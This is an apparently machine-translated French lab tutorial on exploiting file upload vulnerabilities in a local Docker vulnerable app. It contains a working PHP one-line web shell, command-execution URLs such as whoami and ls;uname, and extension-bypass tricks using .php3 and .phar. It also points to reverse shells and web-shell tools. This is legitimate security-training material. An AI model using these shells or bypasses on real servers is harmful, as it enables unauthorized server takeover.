Exploiter les vulnérabilités d'envoi de fichiers avec Nmap

NmapNmapBeginner
Pratiquer maintenant

💡 Ce tutoriel est traduit par l'IA à partir de la version anglaise. Pour voir la version originale, vous pouvez cliquer ici

Introduction

Bienvenue dans notre laboratoire pratique! Aujourd'hui, nous nous concentrons sur un problème courant : les vulnérabilités d'envoi de fichiers. Notre mission est de démystifier ce point faible commun mais souvent mal compris. Nous allons décomposer les principes qui sous-tendent ces vulnérabilités pour les rendre faciles à comprendre. Ensuite, nous allons nous mettre au travail et apprendre à les exploiter efficacement, vous dotant des connaissances nécessaires pour identifier et résoudre de tels problèmes dans les applications du monde réel. Commençons ce voyage passionnant dans les profondeurs de la sécurité web!


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/firewall_evasion("Firewall Evasion Techniques") subgraph Lab Skills nmap/firewall_evasion -.-> lab-416154{{"Exploiter les vulnérabilités d'envoi de fichiers avec Nmap"}} end

Comprendre la vulnérabilité d'envoi de fichiers

Bon, les amis! Accrochez-vous car nous sommes sur le point de plonger dans le monde fascinant des vulnérabilités d'envoi de fichiers. Maintenant, imaginez que vous êtes à une fête et qu'il y a un vestiaire. Vous leur donnez votre manteau (ou votre costume de dinosaure, si vous êtes de ce genre de fêtard), ils vous donnent un ticket, et vous vous attendez à récupérer votre objet à la fin de la soirée, n'est-ce pas? Eh bien, les applications web fonctionnent souvent de manière similaire, acceptant des fichiers comme des images, des documents, etc.

Mais que se passe-t-il si quelqu'un introduit discrètement un porc-épic au lieu d'un manteau? C'est là que les choses deviennent piquantes! Si notre application web, comme un pauvre employé de vestiaire sans méfiance, ne vérifie pas correctement le "manteau" (c'est-à-dire le contenu et le type du fichier), un attaquant peut introduire quelque chose de méchant. Cela pourrait être un web shell, une sorte de fichier malveillant qui, une fois exécuté, leur donne le contrôle du serveur - comme donner les clés du vestiaire à un contrôleur de porc-épic!

Maintenant, parlons de PHP, un langage populaire pour le développement web. PHP a une fonction appelée move_uploaded_file(), qui est comme l'employé de vestiaire qui déplace votre manteau sur un porte-manteaux. Voici un rapide aperçu de son fonctionnement :

<?php
// This function moves the uploaded file to a new location. If it's successful, it gives a thumbs-up (returns true). If not, it's a thumbs-down (returns false).
move_uploaded_file($file, $newloc);
  • $file : Le "manteau" (ou le porc-épic) à déplacer
  • $newloc : Le porte-manteaux où nous gardons le "manteau"

Voici le piège : move_uploaded_file() est comme un employé de vestiaire très confiant - il ne vérifie pas le "manteau". Donc, nous devons écrire un code supplémentaire pour effectuer la validation, comme ceci :

<?php
// Allowed image extensions
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);        // Get the file extension

if ((($_FILES["file"]["type"] == "image/gif")
    || ($_FILES["file"]["type"] == "image/jpeg")
    || ($_FILES["file"]["type"] == "image/jpg")
    || ($_FILES["file"]["type"] == "image/pjpeg")
    || ($_FILES["file"]["type"] == "image/x-png")
    || ($_FILES["file"]["type"] == "image/png"))
    && ($_FILES["file"]["size"] < 204800)    // Less than 200 KB
    && in_array($extension, $allowedExts))
{
    if ($_FILES["file"]["error"] > 0)
    {
        echo "Error: ". $_FILES["file"]["error"]. "<br>";
    }
    else
    {
        echo "Uploaded file name: ". $_FILES["file"]["name"]. "<br>";
        echo "File type: ". $_FILES["file"]["type"]. "<br>";
        echo "File size: ". ($_FILES["file"]["size"] / 1024). " KB<br>";
        echo "Temporary file location: ". $_FILES["file"]["tmp_name"];
    }
}
else
{
    echo "Invalid file format";
}
?>

Si l'application n'a pas un bon "contrôle de manteau" (validation) ou si la validation peut être trompée, nous pourrions nous retrouver avec une vulnérabilité d'envoi de fichiers. Et personne ne veut un porc-épic dans son vestiaire, n'est-ce pas? Donc, apprenons à éviter cela!

Identifier le langage côté serveur

Dans cette étape, il s'agit de configurer notre environnement de laboratoire et d'apprendre à identifier le langage côté serveur d'une application web. Pourquoi, vous demandez-vous? Eh bien, connaître le langage nous aide à déterminer le bon type de fichier à télécharger. C'est comme savoir si vous devez apporter un dictionnaire français, espagnol ou swahili à une soirée d'échange linguistique!

Tout d'abord, nous allons configurer notre environnement de laboratoire. Imaginez-le comme l'organisation du lieu de notre fête. Voici la commande magique :

docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log' --registry-mirror='https://registry.docker-cn.com' && docker exec pentesterlab-WebforPentest-1 chmod 777 /var/www/upload/images

Ensuite, nous allons vous apprendre à être un détective linguistique. Voici vos indices :

  1. Extension de fichier dans l'URL :

    • Avez-vous repéré un .php dans l'URL? Il est probable que le site utilise PHP, essayez donc de télécharger un fichier shell .php.
  2. Type de serveur web :

    • Si le serveur web est Microsoft IIS, il est probablement en train de "parler" ASP.NET. Essayez de télécharger un fichier shell .asp ou .aspx.
    • Si le serveur est Nginx ou Apache, il est probable qu'il utilise PHP. Essayez de télécharger un fichier shell .php.
    • Si le serveur est Tomcat, il utilise probablement JSP. Essayez de télécharger un fichier shell .jsp.

Pour rendre les choses encore plus faciles, vous pouvez utiliser l'extension de navigateur Wappalyzer. C'est comme un ami polyglotte qui peut identifier le type de serveur web, le langage de backend et les frameworks utilisés par un site web.

Une fois que vous avez installé l'extension, cliquez simplement dessus pour détecter automatiquement les informations du site web. C'est comme avoir un invité de fête qui peut vous dire instantanément la langue de chacun!

Dans notre exemple ci-dessous, notre amie l'extension identifie avec succès le serveur web Apache et le langage de programmation PHP utilisés dans notre environnement de laboratoire :

Web Server: Apache
Backend Language: PHP

Télécharger le bon web shell

Dans cette étape, les amis, c'est tout action! Nous allons télécharger un web shell, un type de fichier spécial qui nous permet d'interagir avec le serveur. C'est comme introduire discrètement un perroquet entraîné à la fête qui peut nous chuchoter les secrets du serveur. Comme notre fête... euh, je veux dire, notre environnement de laboratoire, parle PHP, nous aurons besoin d'un fichier shell .php.

Vous pouvez trouver un trésor de web shells ici :

https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/web-exploit-exp/fileupload/php

Commençons par un simple fichier phpinfo.php qui se trouve dans le répertoire /home/labex/project. C'est comme demander au serveur : "Hé, raconte-moi tout sur toi!" Voici comment le créer et le télécharger :

<?php phpinfo();?>

Vous pouvez visiter l'URL http://localhost:82/upload/example1.php pour télécharger le fichier.

Après le téléchargement, essayez de visiter le fichier :

http://localhost:82/upload/images/phpinfo.php

Vous verrez le contenu suivant :

Affichage de la sortie de phpinfo

Si tout se passe bien, vous devriez voir une foule d'informations sur PHP. C'est comme si le serveur venait de raconter son histoire!

Ensuite, essayons un web shell PHP en une ligne shell.php qui se trouve dans le répertoire /home/labex/project :

<?php echo "Shell"; system($_GET['cmd']);?>

Ce petit bout de magie PHP exécutera n'importe quelle commande système que nous passons via le paramètre cmd dans la requête GET.

Téléchargez shell.php et essayez d'y accéder :

http://localhost:82/upload/images/shell.php

Vous pourriez voir un message d'Avertissement car nous n'avons pas encore passé le paramètre cmd. C'est comme si notre perroquet disait : "Hé, tu as oublié de me dire quoi dire!" Donnons-lui une commande.

Pour vérifier qui est l'utilisateur actuel, utilisez :

http://localhost:82/upload/images/shell.php?cmd=whoami

Vous devriez voir la sortie www-data.

Sortie de la commande whoami

Vous pouvez également faire réciter un poème entier à votre perroquet (exécuter plusieurs commandes), comme lister les fichiers dans le répertoire actuel et vérifier les informations sur le système d'exploitation :

http://localhost:82/upload/images/shell.php?cmd=ls;uname%20-a

Félicitations! Vous pouvez maintenant faire dévoiler les secrets du serveur.

Affichage de la sortie des commandes du serveur

Maintenant, si vous voulez aller plus loin dans le terrier de lapin, vous pourriez :

  1. Utiliser des outils comme nc ou bash pour obtenir un reverse shell sur votre machine locale.
  2. Utiliser des outils comme "Cknife", "AntSword" ou "Behinder" pour obtenir un web shell.
  3. Si le shell que vous avez obtenu n'est pas un utilisateur root ou administrateur, vous devrez peut-être escalader les privilèges. Vous pouvez vous référer au cours "Penetration Testing Methodology: Linux Privilege Escalation" pour plus de détails.

Mais comme il s'agit d'un cours "de base", nous réservons ces aventures à nos cours plus avancés. Pour l'instant, célébrons notre exploitation réussie du téléchargement de fichier!

Contourner les restrictions du serveur (optionnel)

Dans cette étape optionnelle, pour ceux d'entre vous qui aiment un défi, il s'agit de contourner les restrictions du serveur. C'est comme si le serveur était un gardien de sécurité qui n'autorise à la fête que les invités portant certains chapeaux (ou extensions de fichier). Mais que se passe-t-il si nous pouvons tromper le gardien pour qu'il laisse entrer des invités avec des chapeaux différents?

Parfois, le serveur peut ne pas nous laisser télécharger certaines extensions de fichier, comme .php. Dans de tels cas, nous pouvons essayer de télécharger des fichiers avec des extensions différentes que le serveur peut toujours analyser et exécuter.

Par exemple, essayons de télécharger phpinfo.php3 :

http://localhost:82/upload/example2.php

Si le téléchargement réussit, essayez de visiter le fichier :

http://localhost:82/upload/images/phpinfo.php3

Si le fichier n'est pas exécuté, c'est comme si le gardien n'a pas été pris au piège par le tour de chapeau. Donc, nous changeons de chapeau et essayons une extension .phar :

http://localhost:82/upload/images/phpinfo.phar

Si le fichier .phar est exécuté avec succès, c'est comme si le gardien a laissé entrer notre invité! Maintenant, vous pouvez poursuivre avec la même méthode d'exploitation que nous avons utilisée dans les étapes précédentes.

N'oubliez pas que c'est un jeu d'astuce et de créativité. Il existe plus de techniques pour contourner les restrictions du serveur, et nous les aborderons dans nos cours avancés. Pour l'instant, profitez de votre réussite à contourner le gardien... je veux dire, les restrictions du serveur!

Résumé

Dans ce laboratoire, nous avons exploré la vulnérabilité d'envoi de fichiers, l'une des vulnérabilités les plus courantes dans les applications web. Nous avons appris les principes sous-jacents aux vulnérabilités d'envoi de fichiers, comment identifier le langage côté serveur utilisé par l'application et comment télécharger le web shell approprié pour prendre le contrôle du serveur.

Les principaux points clés de ce laboratoire sont les suivants :

  • Comprendre le concept de vulnérabilité d'envoi de fichiers et son impact potentiel.
  • Identifier le langage côté serveur utilisé par l'application web pour déterminer le bon type de fichier à télécharger.
  • Télécharger et exécuter des web shells pour prendre le contrôle du serveur.
  • Les techniques pour contourner les restrictions du serveur sur les extensions de fichiers (optionnel).

Ce laboratoire a fourni une base solide pour comprendre et exploiter les vulnérabilités d'envoi de fichiers. Cependant, il existe des techniques et des concepts plus avancés à explorer, qui seront abordés dans les futurs cours.